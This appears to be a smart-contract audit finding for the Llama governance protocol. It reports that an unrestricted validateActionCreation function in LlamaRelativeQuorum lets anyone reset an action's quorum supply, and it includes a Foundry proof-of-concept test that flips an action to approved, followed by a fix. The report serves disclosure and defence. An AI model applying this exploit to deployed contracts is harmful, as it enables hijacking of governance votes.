code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-06-llama/blob/main/src/strategies/LlamaRelativeQuorum.sol#L199-#L210

Vulnerability details

Impact

Anyone can change approval/disapproval threshold for any action using LlamaRelativeQuorum strategy.

Proof of Concept

When a new action is created with LlamaRelativeQuorum strategy, LlamaCore will call function validateActionCreation which is currently implemented as below:

function validateActionCreation(ActionInfo calldata actionInfo) external {
    LlamaPolicy llamaPolicy = policy; // Reduce SLOADs.
    uint256 approvalPolicySupply = llamaPolicy.getRoleSupplyAsNumberOfHolders(approvalRole);
    if (approvalPolicySupply == 0) revert RoleHasZeroSupply(approvalRole);

    uint256 disapprovalPolicySupply = llamaPolicy.getRoleSupplyAsNumberOfHolders(disapprovalRole);
    if (disapprovalPolicySupply == 0) revert RoleHasZeroSupply(disapprovalRole);

    // Save off the supplies to use for checking quorum.
    actionApprovalSupply[actionInfo.id] = approvalPolicySupply;
    actionDisapprovalSupply[actionInfo.id] = disapprovalPolicySupply;
  }

The last 2 lines of code is to Save off the supplies to use for checking quorum. The 2 variables actionApprovalSupply and actionDisapprovalSupply are described as Mapping of action ID to the supply of the approval/disapproval role at the time the action was created. This means the strategy will save the total supply of approval/disapproval role at creation time and then use them to calculate the approval/disapproval threshold, which equals to (approval/disapproval percentage) * (total supply of approval/disapproval). However, since the function validateActionCreation's scope is external and does not require any privilege to be called, any user can call this function and update the total supply of approval/disapproval role to the current timestamp and break the intention to keep total supply of approval/disapproval role at the time the action was created. This issue is highly critical because many Llama protocol's functions depend on these 2 variables to function as intended.

For example, if the total supply of approval role is 10 at the creation of action and the minApprovalPct = 100% - which means requires all policy holders to approve the action to pass it. If it then be casted 9 votes (1 vote short), the action's state is still Active (not approved yet). However, if 1 user is revoked their approval/role, anyone can call function validateActionCreation and update the required threshold to 9 votes and thus the action's state becomes Approved.

Below is a POC for the above example, for ease of testing, place this test case under file LlamaStrategy.t.sol, contract IsActionApproved:

function testAnyoneCanChangeActionApprovalSupply() public {
    // Deploy a relative quorum strategy
    uint256 numberOfHolders = 10;

    // Assign 10 users role of TestRole1
    for (uint256 i=0; i< numberOfHolders; i++){
      address _policyHolder = address(uint160(i + 100));
      if (mpPolicy.balanceOf(_policyHolder) == 0) {
        vm.prank(address(mpExecutor));
        mpPolicy.setRoleHolder(uint8(Roles.TestRole1), _policyHolder, 1, type(uint64).max);
      }
    }

    // Create  a LlamaRelativeQuorum strategy
    // in this minApprovalPct = 10_000 (meaning we require all 10 policyholders to approve)
    LlamaRelativeQuorum.Config memory testStrategyData = LlamaRelativeQuorum.Config({
      approvalPeriod: 2 days,
      queuingPeriod: 2 days,
      expirationPeriod: 8 days,
      isFixedLengthApprovalPeriod: true,
      minApprovalPct: 10000, // require all policyholder to approve
      minDisapprovalPct: 2000,
      approvalRole: uint8(Roles.TestRole1),
      disapprovalRole: uint8(Roles.TestRole1),
      forceApprovalRoles: new uint8[](0),
      forceDisapprovalRoles: new uint8[](0)
    });

    ILlamaStrategy testStrategy = lens.computeLlamaStrategyAddress(
      address(relativeQuorumLogic), DeployUtils.encodeStrategy(testStrategyData), address(mpCore)
    );

    LlamaRelativeQuorum.Config[] memory testStrategies
    = new LlamaRelativeQuorum.Config[](1);
    testStrategies[0] = testStrategyData;
    vm.prank(address(mpExecutor));
    mpCore.createStrategies(relativeQuorumLogic, DeployUtils.encodeStrategyConfigs(testStrategies));

    // create action
    ActionInfo memory actionInfo = createAction(testStrategy);
    assertEq(LlamaRelativeQuorum(address(testStrategy)).actionApprovalSupply(actionInfo.id), numberOfHolders);

    // Suppose that 9 policyholder approve
    // the action lacks 1 more approval vote so isActionApproved = false
    approveAction(9, actionInfo);
    assertEq(LlamaRelativeQuorum(address(testStrategy)).isActionApproved(actionInfo), false);

    // Revoke 1 user
    vm.prank(address(mpExecutor));
    mpPolicy.revokePolicy(address(100));

    // Now anyone can update the actionApprovalSupply and therefore
    // change the approval threshold
    address anyOne = address(12345);
    vm.prank(anyOne);
    LlamaRelativeQuorum(address(testStrategy)).validateActionCreation(actionInfo);

    // The actionApproval for the above action is reduced to 9
    // and the action state changes to approved
    assertEq(LlamaRelativeQuorum(address(testStrategy)).actionApprovalSupply(actionInfo.id), numberOfHolders - 1);
    assertEq(LlamaRelativeQuorum(address(testStrategy)).isActionApproved(actionInfo), true);
  }

Tools Used

Manual review

Recommended Mitigation Steps

Since the intention is to keep values actionApprovalSupply and actionDisapprovalSupply snapshot at creation time for every action and LlamaCore only call validateActionCreation at creation time, I think the easiest way is to allow only llamaCore to call this function.